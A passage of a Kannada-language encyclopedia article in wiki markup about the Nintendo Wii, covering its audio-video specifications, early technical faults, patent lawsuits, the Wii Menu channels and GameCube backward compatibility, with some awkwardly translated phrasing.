Accessories|accessdate=2010-02-26|publisher=Nintendo}}</ref> ([[PAL]] ಮಾತ್ರ) ಮತ್ತು [[VGA]] ಮುಂತಾದವುಗಳನ್ನು ಥರ್ಡ್‌ ಪಾರ್ಟಿ ಟ್ರಾನ್ಸ್‌ಕೊಡರ್‌ ಬಳಸುವ ಮೂಲಕ ಬೆಂಬಲಿಸುತ್ತದೆ.<ref>{{cite web|url=http://www.nintendo.com/consumer/systems/wii/en_na/setupComponents.jsp|title=Nintendo Support: About Component Video|accessdate=2010-02-28|publisher=Nintendo}}</ref> * [[480p]] ([[PAL]]/[[NTSC]]), [[480i]] (NTSC) or [[576i]] (PAL/[[SECAM]]), ಸ್ಟಾಂಡರ್ಡ್ 4:3 ಮತ್ತು [[16:9]] [[ಅನಾಮಾರ್ಫಿಕ್‌ ವೈಡ್‌ಸ್ಕ್ರೀನ್]]<ref>{{cite web|url=http://www.1up.com/do/feature?cId=3154939|title=Wii Get It Now: Technical Specs|publisher=[[1UP.com]]|first=Amy|last=McDonough|date=2006-11-06|accessdate=2008-09-25|archive-date=2016-05-22|archive-url=http://arquivo.pt/wayback/20160522225319/http://www.1up.com/do/feature?cId=3154939|url-status=dead}}</ref> '''ಆಡಿಯೋ''' *ಮುಖ್ಯವಾದುದು: ಸ್ಟಿರಿಯೊ&nbsp;– [[ಡಾಲ್ಬಿ ಪ್ರೊ ಲಾಜಿಕ್‌ II]]-capable<ref name="[[ಡಾಲ್ಬಿ ಪ್ರೊ ಲಾಜಿಕ್‌]] II">{{cite press release|title=Dolby Technology to Power the Sound of the Wii Console|publisher=Dolby Laboratories|date=2006-09-21|url=http://investor.dolby.com/ReleaseDetail.cfm?ReleaseID=211978|accessdate=2006-09-23|archive-date=2006-10-20|archive-url=https://web.archive.org/web/20061020135248/http://investor.dolby.com/ReleaseDetail.cfm?ReleaseID=211978|url-status=dead}}</ref> *ನಿಯಂತ್ರಕ: ಹುದುಗಿದ ಸ್ಪೀಕರ್ '''ವಿದ್ಯುತ್ತ್‌ ಖರ್ಚು:''' *ಸ್ವಿಚ್ ಹಾಕಿದಾಗ 18 ವ್ಯಾಟ್‌‌ಗಳು <ref name="Consume">{{cite web|url=http://www.hardcoreware.net/reviews/review-356-2.htm|title=Xbox 360 vs PS3 (and Wii) - Power Consumption Report|accessdate=2007-11-17|publisher=Hardcoreware.net|first=Carl|last=Nelson|date=2007-02-21}}</ref> *ಸ್ಟ್ಯಾಂಡ್‌ಬೈ‌ ಜೊತೆಗೆ [[ವೈಕನೆಕ್ಟ್24]] ಸ್ಟ್ಯಾಂಡ್‌ಬೈ ಸಂಪರ್ಕದಲ್ಲಿ 9.6 ವ್ಯಾಟ್‌ಗಳು<ref name="Consume" /> *ಸ್ಟ್ಯಾಂಡ್‌ಬೈನಲ್ಲಿ 1.3 ವ್ಯಾಟ್‌ಗಳು <ref name="Consume" /> {{col-end}} †ಯಾವ [[ಸಮಯದ ಬೆಲೆ]]ಯೂ ಕೂಡಾ [[ನಿಂಟೆಂಡೊ]]ವಿನಿಂದ ಅಥವಾ [[ಐಬಿಎಮ್]]‌ ಅಥವಾ [[ಎಟಿಐ]]ನಿಂದ ಅಧಿಕೃತಗೊಂಡಿದ್ದಲ್ಲ. ===ತಾಂತ್ರಿಕ ಸಮಸ್ಯೆಗಳು=== ಮೈಕನೆಕ್ಟ್24 ಮೂಲಕ ಅಪ್‌ಡೇಟ್‌ ಮಾಡಿದ ಮೊದಲ [[ವೈ ವಿಧಾನ ಸಾಫ್ಟ್‌ವೇರ್‌]]ನ ಮಾರುಕಟ್ಟೆಗೆ ಬಿಡುಗಡೆಮಾಡಿದ ಘಟಕಗಳ ತುಂಬಾ ಚಿಕ್ಕ ಭಾಗವು [[ಸಂಪೂರ್ಣವಾಗಿ ನಿಷ್ಪ್ರಯೋಜಕ]]ವಾದವು. ಇದು ಬಳಕೆದಾರರಿಗೆ ಅವರ ಘಟಕಗಳನ್ನು ರಿಪೇರಿಗಳಿಗಾಗಿ ಕಳಿಸುವ ಹಾಗೆ (ಅವರ ಉಳಿಸಿದ ಡಾಟ ಇಟ್ಟುಕೊಳ್ಳಲು ಅವರು ಬಯಸಿದರೆ) ಅಥವಾ ಉಚಿತ ಬದಲಿ ಘಟಕಕ್ಕಾಗಿ ಅದನ್ನು ವಿನಿಮಯ ಮಾಡಿಕೊಳ್ಳುವ ಹಾಗೆ ಮಾಡುತ್ತದೆ.<ref name="Wii Firmware down">{{cite web|url= http://www.computerandvideogames.com/article.php?id=149572|title=Wii Connect 24 Kills Wiis|publisher=[[ComputerAndVideoGames.com]]| date=2006-11-21|first=Mike|last=Jackson|accessdate=2008-09-25}}</ref> ಎರಡು ಪದರದ ವೈ ಅಪ್ಟಿಕಲ್ ಡಿಸ್ಕ್‌ಗಳ ಬಿಡುಗಡೆಯ ಜೊತೆಗೆ, ಅಮೆರಿಕದ ನಿಂಟೆಂಡೊ ಹೀಗೆ ಹೇಳಿಕೆ ನೀಡಿತು ಕೆಲವು ವೈ ತಂತ್ರಗಳು ಒಂದು ರೋಗಾಣು ಹೊಂದಿದ ಲೇಸರ್‌ ಮಸೂರದ ಕಾರಣದಿಂದ ಹೆಚ್ಚಿನ ಪ್ರಮಾಣದ ಸಾಫ್ಟ್‌ವೇರ್‌ ಅನ್ನು ಓದಲು ತೊಂದರೆಗಳನ್ನು ಹೊಂದಬಹುದು. ಈ ತೊಂದರೆಯನ್ನು ಅನುಭವಿಸಿದ ಮಾಲೀಕರಿಗೆ ನಿಂಟೆಂಡೊ ಉಚಿತ ರೀಪೇರಿಯನ್ನು ನೀಡುತ್ತದೆ.<ref>{{cite web|url=http://www.nintendo.com/consumer/repair/repair_form_us_ssbb.jsp|title=Repair Form for U.S. Residents|accessdate =2008-03-11|publisher=[[Nintendo]]}}</ref><ref name="BRAWLERROS">{{cite web|url= http://gonintendo.com/?p=40081|title=Brawl disc read errors return, but this time it’s Mario Kart|publisher=GoNintendo|date= 2008-04-11|accessdate=2008-09-25}}</ref> ಅದಕ್ಕಾಗಿ ಸ್ಥಾಪಿಸಿದ ವೈ ವ್ಯವಸ್ಥೆಯ ಜಾಡನ್ನು ವೈ ರಿಮೊಟ್‌ ಕಳೆದುಕೊಳ್ಳುತ್ತದೆ, ಅದನ್ನು ಪುನಃಸ್ಥಾಪಿಸಬೇಕಾಗುತ್ತದೆ ಮತ್ತು ಪುನಃಮೇಳೈಸಬೇಕಾಗುತ್ತದೆ/ಹೊದಾಣಿಕೆ ಮಾಡಬೇಕಾಗುತ್ತದೆ. ಈ ಪ್ರಕ್ರಿಯೆಗೆ, ಮತ್ತು ಸಂಬಂಧಿತ ಸಮಸ್ಯೆಗಳ ತೊಂದರೆಗಳನ್ನು ಪರಿಹರಿಸಲು ನೆನ್ಟೆನ್ಡೊನ ಬೆಂಬಲಿತ ವೆಬ್‌ಸೈಟ್ ಸೂಚನೆಗಳನ್ನು ಒದಗಿಸುತ್ತದೆ.<ref>{{cite web|url= http://support.nintendo.com/|title=Nintendo support website|publisher=Nintendo}}</ref> ===ಕಾನೂನು ಸಂಬಂಧಿ ವಿವಾದಗಳು=== [[ಇಂಟರ್‌ಲಿಂಕ್ ಎಲೆಕ್ಟ್ರಾನಿಕ್ಸ್]] ನಿಂಟೆಂಡೊ ವಿರುದ್ಧ ವೈ ರಿಮೊಟ್‌ನ ಕಾರ್ಯಗುಣತೆಗಳನ್ನು ಗುರಿಮಾಡಿ ಒಂದು ಪೆಟೆಂಟ್ -ಉಲ್ಲಂಘನೆಯ ಮೊಕದ್ದಮೆಯನ್ನು ಹೂಡಿತು, ನಿಂಟೆಂಡೊದ "ಉಲ್ಲಂಘನೆಯ ಚಟುವಟಿಕೆಗಳ ಫಲಿತಾಂಶವಾಗಿ ಸಮರ್ಥನೀಯ ಗೌರವಧನಗಳ ನಷ್ಟ, ಮಾರಾಟಗಳ ಕುಸಿತ ಮತ್ತು/ಅಥವಾ ಲಾಭಗಳ ನಷ್ಟ" ಎಂದು ಕೇಳಿತು.<ref>{{cite web|url=http://wii.ign.com/articles/750/750001p1.html|title=Nintendo Sued for Patent Infringement|first=Micah|last=Seff|publisher=IGN|date=2006-12-08|accessdate=2006-12-08|archive-date=2006-12-13|archive-url=https://web.archive.org/web/20061213042423/http://wii.ign.com/articles/750/750001p1.html|url-status=dead}}</ref><ref>{{cite web|url=http://www.findarticles.com/p/articles/mi_m0EIN/is_2006_Dec_16/ai_n16911839/|title=Nintendo Recalls Defective Wii Wrist Straps After Class Action Filed by Green Welling LLP|accessdate= 2007-03-23|publisher=Business Wire|date=2006-12-16}}</ref> ಲಾ ಫರ್ಮ್ ಗ್ರೀನ್ ವೆಲ್ಲಿಂಗ್ LLP ನಿಂಟೆಂಡೊ ವಿರುದ್ಧ ಅದರ " ದೋಷವಿರುವ ಮಣಿಕಟ್ಟಿನ ಪಟ್ಟಿಗಳಿ"ಗಾಗಿ ಒಂದು [[ಕ್ಲಾಸ್ ಆಕ್ಶನ್]] ಮೊಕದ್ದಮೆಯನ್ನು ಹೂಡಿತು. ಲೋನ್‌ಸ್ಟಾರ್ ಇನ್‌ವೆನ್ಶನ್ಸ್ ಹೆಸರಿನ ಒಂದು ಟೆಕ್ಸಾಸ್ ಮೂಲದ ಕಂಪೆನಿ ಸಹ ನೆನ್ಟೆನ್ಡೊ ವಿರುದ್ಧ ವ್ಯಾಜ್ಯ ಹೂಡಿತು, ಕಂಪೆನಿಯು ಲೋನ್‌ಸ್ಟಾರ್ ಸ್ವಾಮ್ಯದ [[ಕ್ಯಾಪಸಿಟರ್]] ವಿನ್ಯಾಸಗಳನ್ನು ನಕಲು ಮಾಡಿದೆ ಮತ್ತು ಅದನ್ನು ವೈ ಕನ್ಸೊಲ್‌ನಲ್ಲಿ ಬಳಸಿದೆ ಎಂದು ಹಕ್ಕು ಕೇಳಿತು.<ref>{{cite web| url=http://www.engadget.com/2007/06/18/lonestar-sues-nintendo-over-wii-capacitor-design/|title=Lonestar sues Nintendo over Wii capacitor design|accessdate=2007-06-19|publisher=Engadget/Wall Street Journal|first=Conrad|last=Quilty-Harper|date=2006-06-18}}</ref> Anascape Ltd, ಒಂದು [[ಟೆಕ್ಸಸ್]]-ಮೂಲದ ಕಂಪೆನಿ, ಕೂಡ ನಿಂಟೆಂಡೊ ವಿರುದ್ಧ ನಿಂಟೆಂಡೊನ ನಿಯಂತ್ರಕಗಳಿಗೆ ಸಂಬಂಧಿಸಿದ, ಪೆಟೆಂಟ್ ಉಲ್ಲಂಘನೆಗಳಿಗಾಗಿ ಒಂದು ಮೊಕದ್ದಮೆ ಹೂಡಿತು.<ref>{{cite web|url=http://www.theinquirer.net/inquirer/news/933/1027933/microsoft-nintendo-sued-over-games-controller|archiveurl=https://web.archive.org/web/20090315054000/http://www.theinquirer.net/inquirer/news/933/1027933/microsoft-nintendo-sued-over-games-controller|archivedate=2009-03-15|title=Microsoft, Nintendo sued over games controller|author=INQUIRER staff|publisher=The Inquirer|date=2006-08-03|accessdate=2006-12-08|url-status=dead}}</ref> ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದಲ್ಲಿ [[ಕ್ಲಾಸಿಕ್ ನಿಯಂತ್ರಕ]] ನೆನ್ಟೆನ್ಡೊದಿಂದ ಮಾರಾಟ ಮಾಡುವುದನ್ನು ತಡೆಯುವ ಒಂದು ನಿಷೇಧಾಜ್ಞೆಯನ್ನು ಹೊರಡಿಸಲಾಗುತ್ತದೆ ಎಂಬ ಅಭಿಮತ ಜುಲೈ 2008ರಂದು ಕಂಡುಬಂದಿತು. [[U.S. ಕೋಟ್‌ ಅಫ್ ಅಪಿಲ್ ಫಾರ್ ದಿ ಫೆಡರಲ್ ಸರ್ಕ್ಯೂಟ್‌/0}ಗೆ ಒಂದು ಮೇಲ್ಮನಮಿ ಬಾಕಿಯಿರುವುದರಿಂದ ನಿಂಟೆಂಡೊ ಕ್ಲಾಸಿಕ್‌ ನಿಯಂತ್ರಕ ಮಾರಾಟವನ್ನು ಮುಂದುವರಿಸಲು ಮುಕ್ತವಾಯಿತು.|U.S. ಕೋಟ್‌ ಅಫ್ ಅಪಿಲ್ ಫಾರ್ ದಿ ಫೆಡರಲ್ ಸರ್ಕ್ಯೂಟ್‌/0}ಗೆ ಒಂದು ಮೇಲ್ಮನಮಿ ಬಾಕಿಯಿರುವುದರಿಂದ ನಿಂಟೆಂಡೊ ಕ್ಲಾಸಿಕ್‌ ನಿಯಂತ್ರಕ ಮಾರಾಟವನ್ನು ಮುಂದುವರಿಸಲು ಮುಕ್ತವಾಯಿತು.<ref>{{cite web|url=https://www.bloomberg.com/apps/news?pid=newsarchive&sid=aO_ucYxT3eNw |title=Nintendo Faces Ban on Some Wii, GameCube Controllers (Update2)|publisher=Bloomberg.com|first= Susan|last=Decker|date= 2008-07-22|accessdate=2008-09-25}}</ref>]] ಗುರುವಾರ, ಏಪ್ರಿಲ್ 22, 2010ರಂದು, ಫೆಡರಲ್ ಸರ್ಕುಟ್ ನಿಂಟೆಂಡೊ Anascapeನ ಸ್ವಾಮ್ಯದ ನಿಯಂತ್ರಕವನ್ನು ಉಲ್ಲಂಘಿಸಿದೆ ಎಂಬ ಅಧಿಕೃತ ತಿರ್ಮಾನವನ್ನು ರದ್ದುಮಾಡಿತು.<ref>{{cite web | url=http://www.courthousenews.com/2010/04/22/26649.htm | title=Nintendo Wins Patent Dispute Over Controllers | access-date=2010-05-31 | archive-date=2010-08-23 | archive-url=https://web.archive.org/web/20100823191844/http://www.courthousenews.com/2010/04/22/26649.htm | url-status=dead }}</ref> ಆಗಸ್ಟ್ 19, 2008ರಂದು ಹಿಲ್‌ಕ್ರೆಸ್ಟ್‌ ಲ್ಯಾಬೊರೇಟರಿಸ್‌ ಇಂಕ್‌‍. ನಿಂಟೆಂಡೊ ಜೊತೆ [[U.S ಇಂಟರ್‌ನ್ಯಾಷನಲ್ ಟ್ರೇಡ್ ಕಮಿಷನ್]] ವಿರುದ್ಧ ಒಂದು ದೂರನ್ನು ದಾಖಲಿಸಿತು. ವೈ ರಿಮೊಟ್ ಅದರ ಪೆಟೆಂಟ್‌ಗಳ ಮೂರನ್ನು ಉಲ್ಲಂಘಿಸುತ್ತದೆ ಎಂದು ದೂರು ಅರೋಪಿಸುತ್ತದೆ. ದೂರದರ್ಶನದ ಪರದೆಗಳ ಮೇಲೆ ಪ್ರದರ್ಶಿಸಿದ ರೇಖಾಚಿತ್ರದ ಅಂತರಸಂಪರ್ಕ ಸಾಧನದ ನಾಲ್ಕನೆ ಹಿಲ್‌ಕ್ರೆಸ್ಟ್‌‍ ಪೆಟೆಂಟ್ ಸಹ ಉಲ್ಲಂಘಿಸಲಾಗಿದೆ ಅಪಾದಿಸಿದೆ. ಆದ್ದರಿಂದ U.S.ಗೆ ಅಮದು ಮಾಡಿದ ವೈ ಕನ್ಸೊಲ್‌ಗಳ ಮೇಲೆ ಹಿಲ್‌ಕ್ರೆಸ್ಟ್ ಒಂದು ನಿಷೇಧಾಙ್ಞೆಯನ್ನು ಬಯಸಿತು,<ref>{{cite web|url=http://online.wsj.com/article/SB121925111060757011.html?mod=googlenews_wsj|title=Start-Up Says Nintendo Violated Patents|publisher=online.wsj.com|first=Nick| last=Wingfield|date=2008-08-21|accessdate=2008-09-25}}</ref> ಆದರೆ ಆಗಸ್ಟ್ 24, 2009ರಂದು, ನಿಂಟೆಂಡೊ ಮತ್ತು ಹಿಲ್‌ಕ್ರೆಸ್ಟ್ ಒಂದು ಒಪ್ಪಂದವನ್ನು ಮಾಡಿಕೊಂಡವು, ಆದರೆ ಕರಾರುಗಳನ್ನು ಸಾರ್ವಜನಿಕವಾಗಿ ಬಹಿರಂಗ ಪಡಿಸಲಿಲ್ಲ.<ref>{{cite web|title=Nintendo settles US trade fight over Wii|url= http://www.theage.com.au/world/nintendo-settles-us-trade-fight-over-wii-20090825-ewno.html|date=2009-08-24|work=www.theage.com.au| publisher=[[The Age]]|accessdate=2009-08-24}}</ref> "ವೈ ರಿಮೊಟ್‌"ಗಾಗಿ ಟ್ರೇಡ್‌ಮಾರ್ಕ್‌ ಅನ್ವಯಿಸುವಿಕೆಯನ್ನು [[ಯುನೈಟೆಡ್ ಸ್ಟೇಟ್ಸ್ ಪೆಟೆಂಟ್ ಅಂಡ್ ಟ್ರೇಡ್‌ಮಾರ್ಕ್ ಆಫೀಸ್‌]] ಒಂದು ಆರಂಭದ ತಿರಸ್ಕಾರವನ್ನು ನೀಡಿತ್ತು. ''ರಿಮೋಟ್'' ಪದವು ಸಾಮಾನ್ಯವಾಗಿ ಬಳಸಲಾಗುತ್ತದೆ ಮತ್ತು ಆದ್ದರಿಂದ ಟ್ರೇಡ್‌ಮಾರ್ಕ್‌ ಮಾಡಬಾರದು ಎಂದು USPTO ಕೇಳಿಕೊಂಡಿತು. USPTO ನಿಂಟೆಂಡೊನ ಟ್ರೇಡ್‌ಮಾರ್ಕ್‌ನಲ್ಲಿ ''’ರಿಮೋಟ್‌’'' ಶಬ್ಧಕ್ಕೆ ಅಧಿಕೃತ ಹಕ್ಕು ಕೇಳಿದರೆ ಕೊಡಲು ತಯಾರಿದೆ.<ref>{{cite web|first=Christopher|last=Pioli|url=http://www.gamesarefun.com/news.php?newsid=9172|title=Nintendo has a hard time trademarking Wii Remote|publisher=Games Are Fun|date=2008-12-04|accessdate=2009-01-07|archive-date=2011-08-21|archive-url=https://web.archive.org/web/20110821185915/http://www.gamesarefun.com/news.php?newsid=9172|url-status=dead}}</ref> ==ವೈಶಿಷ್ಟ್ಯಗಳು== ಕನ್ಸೊಲ್ ಅದರ ಹಾರ್ಡ್‌ವೇರ್‌ನಿಂದ ಬಳಸಬಲ್ಲ ಹಲವು ಅಂತರಿಕ ಲಕ್ಷಣಗಳನ್ನು ಮತ್ತು [[ಫೈರ್‌ವೇರ್]] ಅಂಶಗಳನ್ನು ಹೊಂದಿದೆ. ಹಾರ್ಡ್‌ವೇರ್ ವಿಸ್ತರಿತ ಪೋರ್ಟ್‌ಗಳ ಮೂಲಕ ವಿಸ್ತರಣೀಯತೆಯನ್ನು ಅನುಮತಿಸುತ್ತದೆ ಹಾಗೆಯೇ ಫೈರ್‌ವೇರ್ ಮತ್ತು ಸಾಫ್ಟ್‌ವೇರ್‌ನ ಕೆಲವು ತುಣುಕುಗಳು [[ವೈಕನೆಕ್ಟ್‌24]] ಸೇವೆಯ ಮೂಲಕ ನಿಯತಕಾಲಿಕ ಅಪ್‌ಡೇಟ್‌ಗಳನ್ನು ಪಡೆಯುತ್ತದೆ. ===ವೈ ಮೆನ್ಯು=== [[File:Wii in GameCube modus.JPG|thumb|ವೈ ಯುನಿಟ್‌ನ ಮೇಲೆ ನೆಂಟೆಂಡೊ ಗೇಮ್‌ಕ್ಯೂಬ್ ಪೋರ್ಟ್ಸ್]] {{Main|Wii Menu}} ವೈ ಮೆನ್ಯು ಅಂತರಸಂಪರ್ಕ ಸಾಧನವನ್ನು [[ದೂರದರ್ಶನ ಚಾನೆಲ್‌]]ಗಳ ಸುತ್ತಮುತ್ತ ವಿನ್ಯಾಸಗೊಳಿಸಲಾಗಿದೆ. ಪ್ರತ್ಯೇಕ ಚಾನೆಲ್‌ಗಳನ್ನು ರೇಖಾಚಿತ್ರದಂತೆ ಒಂದು ಜಾಲರಿಯಲ್ಲಿ ಪ್ರದರ್ಶಿಸುತ್ತದೆ ಮತ್ತು ಅವುಗಳನ್ನು [[ವೈ ರಿಮೊಟ್‌]]ನ ನಿರ್ದೇಶಕ ಸಾಮರ್ಥ್ಯವನ್ನು ಬಳಸಿ ಮಾರ್ಗದರ್ಶನ ನೀಡುತ್ತದೆ. ಚಾನೆಲ್‌ಗಳನ್ನು ಆಕ್ರಮಿಸಲು ಮತ್ತು ಅವುಗಳನ್ನು ಸುತ್ತಮುತ್ತ ವರ್ಗಾಯಿಸಲು A ಮತ್ತು B ಬಟನ್‌ಗಳನ್ನು ಕೆಳಗೆ ಹಿಡಿಯುವ ಮೂಲಕ ವಿನ್ಯಾಸವನ್ನು ಬದಲಿಸಲು ಸಾಧ್ಯ. ಆರು ಪ್ರಾಥಮಿಕ ಚಾನೆಲ್‌ಗಳಿವೆ: ಡಿಸ್ಕ್ ಚಾನೆಲ್, ಮೈ ಚಾನೆಲ್, ಫೋಟೊ ಚಾನೆಲ್, ವೈ ಶಾಪ್ ಚಾನೆಲ್, ಮುನ್ಸೂಚನೆ ಚಾನೆಲ್, ಮತ್ತು ವಾರ್ತಾ ಚಾನೆಲ್. ಮೊದಲಿಗೆ ನಂತರದ ಎರಡು ಆರಂಭದ ವೇಳೆಯಲ್ಲಿ ಅಲಭ್ಯವಾಗಿದ್ದವು, ಆದರೆ ಅಪ್‌ಡೇಟ್‌ಗಳ ಮೂಲಕ ಕ್ರಿಯಾ ಮುಖವಾಗಿಸಲಾಯಿತು. [[ವೈವೇರ್]] ಮೂಲಕ [[ವೈ ಶಾಪ್‌ ಚಾನೆಲ್]]‌ನಿಂದ ಡೌನ್‌ಲೋಡ್‌ ಮಾಡಿದಾಗ ಹೆಚ್ಚುವರಿ ಚಾನೆಲ್‌ಗಳು ಲಭಿಸುತ್ತವೆ ಮತ್ತು ಪ್ರತಿ [[ವರ್ಚ್ಯುಯಲ್ ಕನ್ಸೊಲ್]] ಶೀರ್ಷಿಕೆಯ ‌ ಜೊತೆ ಸಹ ಗೋಚರಿಸುತ್ತದೆ. ಇವುಗಳು [[ಎವರಿಡೇ ವೋಟ್ಸ್ ಚಾನೆಲ್]], [[ಇಂಟರ್‌ನೆಟ್ ಚಾನೆಲ್]], [[ಚೆಕ್ ಮೈ ಔಟ್ ಚಾನೆಲ್]], ಮತ್ತು [[ನಿಂಟೆಂಡೊ ಚಾನೆಲ್]] ಸೇರಿವೆ. ===ಹಿಂದುಳಿದ ಸಹವರ್ತನತೆ=== ಎಲ್ಲಾ ಅಧಿಕೃತ [[ನಿಂಟೆಂಡೊ ಗೆಮ್‌ಕ್ಯುಬ್]] ಸಾಪ್ಟ್‌ವೇರ್, ಹಾಗೂ ನಿಂಟೆಂಡೊ ಗೆಮ್‌ಕ್ಯುಬ್ ಮೆಮೊರಿ ಕಾರ್ಡ್‌ಗಳು ಮತ್ತು ನಿಯಂತ್ರಕಗಳ ಜೊತೆ ವೈ ಕನ್ಸೊಲ್ ಹಿಂದುಳಿದ ಸಹವರ್ತನ. [[ನಿಂಟೆಂಡೊ ಗೆಮ್‌ಕ್ಯೂಬ್ ಆಟದ ಡಿಸ್ಕ್‌ಗಳು]] ಸ್ವೀಕರಿಸಲು ಸ್ಲಾಟ್‌ ಲೋಡಿಂಗ್ ಸಾಮರ್ಥ್ಯದ ಜೊತೆ ಸಾಫ್ಟ್‌ವೇರ್‌ನೊಂದಿಗೆ ಸಹವರ್ತನತೆಯನ್ನು ನೇರವೇರಿಸಬಹುದು. [[List of GameCube games with 480p and 16:9 support|480p-ಸಾಧ್ಯವಾಗಿಸಿದ ಗೆಮ್‌ಕೂಬ್ ಶೀರ್ಷಿಕೆಗಳ]]ಲ್ಲಿ ಕನ್ಸೊಲ್ ಪ್ರಗತಿಶೀಲ ಸ್ಕ್ಯಾನ್ ಔಟ್‌ಪುಟ್‌ನ್ನು ಬೆಂಬಲಿಸುತ್ತದೆ. ನಾಲ್ಕು ಗೆಮ್‌ಕ್ಯೂಬ್ ನಿಯಂತ್ರಕ ಪೊರ್ಟ್‌ಗಳ ಒಂದು ಗುಂಪು ಮತ್ತು ತೆಗೆಯಬಲ್ಲ ಫ್ಲಿಪ್-ಓಪನ್ ಪ್ಯಾನೆಲ್‌ಗಳಿಂದ ಹುದುಗಿದ ಎರಡು ಮೆಮೊರಿ ಕಾರ್ಡ್ ಸ್ಲಾಟ್‌ಗಳ ಮೂಲಕ ಅಪ್ರಧಾನಗಳನ್ನು ಸಂಪರ್ಕಿಸಲು ಸಾಧ್ಯ.<ref name="Wii: The Total Story" /> ಕನ್ಸೊಲ್ ಆದ್ದರಿಂದ [[ಗೆಮ್ ಬಾಯ್ ಅಡ್ವನ್ಸ್]] ಮತ್ತು [[e-ರೀಡರ್]] ಜೊತೆ [[ಗೆಮ್ ಬಾಯ್ ಅಡ್ವನ್ಸ್ ಕೇಬಲ್]] ಮೂಲಕ ಸಂಪರ್ಕವನ್ನು ಉಳಿಸಿಕೊಳ್ಳುತ್ತದೆ, ಇದನ್ನು ಗೆಮ್‌ಕ್ಯೂಬ್‌ನ ಜೊತೆ ಬಳಸಿದ ವಿಧಾನದಲ್ಲಿಯೇ ಇದರೊಂದಿಗೆ ಉಪಯೋಗಿಸಲಾಗುತ್ತದೆ. ಇದನ್ನು ಮೊದಲು ಬಳಸಿದ ಆಯ್ದ ಗೆಮ್‌ಕ್ಯೂಬ್ ಶೀರ್ಷಿಕೆಗಳಲ್ಲಿ ಮಾತ್ರ ಈ ಗುಣಲಕ್ಷಣವನ್ನು ಪ್ರವೇಶಿಸಲು ಸಾಧ್ಯ. ದಕ್ಷಿಣ ಕೊರಿಯಾದಲ್ಲಿನ ಬಿಡುಗಡೆಗಾಗಿ ವೈ ಗೆಮ್‌ಕ್ಯೂಬ್ ಹಿಂದುವುಳಿದ ಸಹವರ್ತನತೆಯನ್ನು ಕೊರತೆಯ ಎದುರಿಸಿತು.<ref>{{cite web|url=http://www.gamespot.co.kr/wii/news/0,39051458,39400693-39098642p,00.htm|archiveurl=https://web.archive.org/web/20080618070527/http://www.gamespot.co.kr/wii/news/0,39051458,39400693-39098642p,00.htm|archivedate=2008-06-18|title=한국판 Wii, 타 국가게임 '사용불가'|author=김민규 기자|publisher=[[GameSpot]]|language=Korean| date=2008-04-14|accessdate=2008-09-25}}</ref> ಒಂದು ಗೆಮ್‌ಕ್ಯೂಬ್ ಡಿಸ್ಕ್‌ನ್ನು ನೆಡೆಸುವ ಒಂದು ವೈ ಕನ್ಸೊಲ್ಅನ್ನು ಗೆಮ್‌‌ಕ್ಯೂಬ್ ಕಾರ್ಯಗುಣತೆಗೆ ನಿರ್ಬಂಧಿಸಲಾಗಿದೆ. ಉದಾಹರಣೆಗೆ, [[ವೈ ರಿಮೊಟ್]]ಅಥವಾ [[ಕ್ಲಾಸಿಕ್ ನಿಯಂತ್ರಕ]] ಈ ಆರ್ಹತೆಯಲ್ಲಿ ಕಾರ್ಯನಿರ್ವಹಿಸುವುದ್ದಿಲ್ಲ ವಾದುದ್ದರಿಂದ, ಗೆಮ್‌ಕ್ಯೂಬ್ ಶೀರ್ಷಿಕೆಗಳನ್ನು ಆಡಲು ಗೆಮ್‌ಕ್ಯೂಬ್ ನಿಯಂತ್ರಕ ಆಗತ್ಯ. ವೈ ಅಂತರಿಕ ಫ್ಲಾಶ್ ಮೆಮೊರಿ ಗೆಮ್‌ಕ್ಯೂಬ್ ಆಟಗಳನ್ನು ಉಳಿಸುವುದಿಲ್ಲ ಆದ್ದರಿಂದ ಆಟದ ಪ್ರಗತಿ ಮತ್ತು ಅಂಶವನ್ನು ಉಳಿಸಲು ಒಂದು ನಿಂಟೆಂಡೊ ಗೆಮ್‌ಕ್ಯೂಬ್ ಮೆಮೊರಿ ಕಾರ್ಡ್ ಸಹ ಅವಶ್ಯಕ. ಹಿಂದುಳಿದ ಸಹವರ್ತನತೆ ಕೆಲವು ಪ್ರದೇಶಗಳಲ್ಲಿ ಸೀಮಿತವಾಗಿದೆ. [[ನಿಂಟೆಂಡೊ ಗೆಮ್‌ಕ್ಯೂಬ್ ಬ್ರಾಡ್‌ಬ್ಯಾಂಡ್‌ ಆಡಪ್ಟರ್ ಮತ್ತು ಮೊಡಮ್ ಅಡಪ್ಟರ್‌]]ಗೆ ಕನ್ಸೊಲ್ ಸರಣಿ ಪೊರ್ಟ್‌ಗಳ ಕೊರತೆಯನ್ನು ಹೊಂದಿರುವುದರಿಂದ, ವೈನಲ್ಲಿ ನಿಂಟೆಂಡೊ ಗೆಮ್‌ಕ್ಯೂಬ್ ಶೀರ್ಷಿಕೆಗಳಿಗೆ ಅನ್‌ಲೈನ್ ಮತ್ತು LAN-ಸಾಧ್ಯವಾಗಿಸಿದ ಗುಣಲಕ್ಷಣಗಳು ಲಭ್ಯವಿಲ್ಲ. ವಿಡಿಯೋ ಔಟ್‌ಪುಟ್‌ಗೆ ಕನ್ಸೊಲ್ ಒಂದು ಒಡೆತನದ ಪೊರ್ಟ್ ಅನ್ನು ‌ ಬಳಸುತ್ತದೆ ಮತ್ತು ಇದು ಆದ್ದರಿಂದ ಎಲ್ಲಾ ನಿಂಟೆಂಡೊ ಗೆಮ್‌ಕ್ಯೂಬ್ ಅಡಿಯೋ/ವಿಡಿಯೋ ಕೇಬಲ್‌ಗಳ ([[ಸಂಯುಕ್ತ ವಿಡಿಯೋ]], [[S-ವಿಡಿಯೋ]], [[ಕಪೊನೆಂಟ್ ವಿಡಿಯೋ]] ಮತ್ತು RGB [[SCART]]) ಜೊತೆ ಹೊಂದುವುದಿಲ್ಲ. ಕನ್ಸೊಲ್‌ನಲ್ಲಿ ಗೆಮ್‌ಕ್ಯೂಬ್‌ನ ಹೆಜ್ಜೆಗುರುತು ಮತ್ತು [[ಗೆಮ್ ಬಾಯ್ ಪ್ಲೇಯರ್]] ಬೆಂಬಲಕ್ಕೆ ಬೇಕಾದ ಹೆಚ್ಚು ವೇಗದ ಪೊರ್ಟ್‌‌ನ ಕೊರೆತೆ ಇದೆ. ===ನಿಂಟೆಂಡೊ DS ಸಂಪರ್ಕತೆ=== ವೈ ತಂತ್ರವು ಯಾವುದೇ ಹೆಚ್ಚುವರಿ ಪರಿಕಕಗಳಿಲ್ಲದೆ [[ನಿಂಟೆಂಡೊ DS]] ಜೊತೆಗೆ ತಂತಿರಹಿತ 